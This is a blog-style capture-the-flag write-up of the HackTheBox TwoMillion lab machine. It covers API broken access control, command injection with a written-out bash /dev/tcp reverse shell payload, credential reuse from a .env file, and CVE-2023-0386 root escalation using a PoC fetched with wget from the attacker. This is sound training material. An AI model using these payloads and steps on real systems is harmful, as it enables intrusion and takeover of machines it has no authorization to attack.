DEV Community

Cover image for HackTheBox - TwoMillion: A Complete Walkthrough
Yogeshwar Peela
Yogeshwar Peela

Posted on

HackTheBox - TwoMillion: A Complete Walkthrough

Overview

TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability.

Difficulty: Easy | OS: Linux | Tags: Web, API Abuse, Command Injection, Kernel Exploit


1. Reconnaissance

nmap -sC -sV -A <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode

Results:

  • Port 22 — SSH (OpenSSH 8.9)
  • Port 80 — HTTP (nginx)

The HTTP server redirects to http://2million.htb/. Add it to /etc/hosts:

echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

2. Enumeration

The site requires an invite code to register. Directory fuzzing with feroxbuster reveals:

feroxbuster -u http://2million.htb
Enter fullscreen mode Exit fullscreen mode

Key findings:

  • /invite — invite code entry page
  • /js/inviteapi.min.js — client-side invite logic
  • /api/v1/user/login and /api/v1/user/register — API endpoints

3. Getting the Invite Code

3.1 Deobfuscating the JavaScript

curl -X GET http://2million.htb/js/inviteapi.min.js
Enter fullscreen mode Exit fullscreen mode

The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed:

  • makeInviteCode() — POSTs to /api/v1/invite/how/to/generate
  • verifyInviteCode(code) — POSTs to /api/v1/invite/verify

3.2 Generating the Code

curl -X POST http://2million.htb/api/v1/invite/how/to/generate
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  }
}
Enter fullscreen mode Exit fullscreen mode

Decode the ROT13:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
Enter fullscreen mode Exit fullscreen mode

Generate the code:

curl -X POST http://2million.htb/api/v1/invite/generate | jq
Enter fullscreen mode Exit fullscreen mode

Decode the Base64 result:

echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
Enter fullscreen mode Exit fullscreen mode

Use this code to register an account at /invite.


4. API Enumeration & Privilege Escalation (Web)

After logging in, enumerate the full API route list:

curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
Enter fullscreen mode Exit fullscreen mode

Admin endpoints discovered:

  • GET /api/v1/admin/auth — Check if current user is admin
  • PUT /api/v1/admin/settings/update — Update user settings
  • POST /api/v1/admin/vpn/generate — Generate VPN for any user

4.1 Escalating to Admin

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  -d '{"email": "john@email.com", "is_admin": 1}'
Enter fullscreen mode Exit fullscreen mode

Response confirms admin escalation:

{"id": 13, "username": "john", "is_admin": 1}
Enter fullscreen mode Exit fullscreen mode

This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check.


5. Remote Code Execution via Command Injection

The admin VPN generation endpoint passes the username parameter to a system command without sanitization:

curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  --data '{"username": "john;whoami;"}'
# www-data
Enter fullscreen mode Exit fullscreen mode

We have RCE. Set up a listener and send a reverse shell:

# Listener
pwncat-cs -lp 4444

# Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
Enter fullscreen mode Exit fullscreen mode

Shell received as www-data.


6. Lateral Movement: www-data → admin

Enumerating the web root reveals a .env file with hardcoded database credentials:

cat /var/www/html/.env
Enter fullscreen mode Exit fullscreen mode
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Enter fullscreen mode Exit fullscreen mode

Testing password reuse over SSH:

ssh admin@2million.htb
# Password: SuperDuperPass123
Enter fullscreen mode Exit fullscreen mode

User flag obtained at ~/user.txt


7. Privilege Escalation: CVE-2023-0386

7.1 Finding the Lead

Logging in via SSH shows an interesting banner:

You have mail.
Enter fullscreen mode Exit fullscreen mode

The mail at /var/mail/admin contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE.

7.2 Confirming Kernel Version

uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
Enter fullscreen mode Exit fullscreen mode

Kernel 5.15.70 falls within the vulnerable range for CVE-2023-0386 — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation.

7.3 Exploitation

Compile the PoC on the attacker machine:

apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
Enter fullscreen mode Exit fullscreen mode

Serve it to the target:

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode

On the victim:

wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
Enter fullscreen mode Exit fullscreen mode
root@2million:/tmp# whoami
root
Enter fullscreen mode Exit fullscreen mode

Root flag obtained at /root/root.txt


8. Attack Chain Summary

Step Action
Reconnaissance Nmap revealed HTTP on port 80
Enumeration feroxbuster found invite API and JS file
Invite Code Deobfuscated JS → ROT13 → Base64 → valid code
API Abuse Discovered admin endpoints while authenticated
Broken Access Control Set is_admin: 1 via PUT request
Command Injection Unsanitized username → reverse shell as www-data
Lateral Movement .env credentials reused for SSH as admin
Privilege Escalation CVE-2023-0386 OverlayFS exploit → root

9. Key Vulnerabilities

1. Client-Side Invite Logic — Invite generation logic exposed in obfuscated JavaScript.

2. Broken Access Control — Users can escalate privileges by supplying is_admin: 1 in API requests.

3. Command Injection — Unsanitized username parameter passed directly to a system command.

4. Hardcoded Credentials.env file exposes database credentials in the web root.

5. Password Reuse — Same credentials used for both the database and SSH.

6. CVE-2023-0386 — Unpatched kernel vulnerable to OverlayFS privilege escalation.


Thanks for reading! If you found this helpful, consider following for more HTB writeups.

Top comments (0)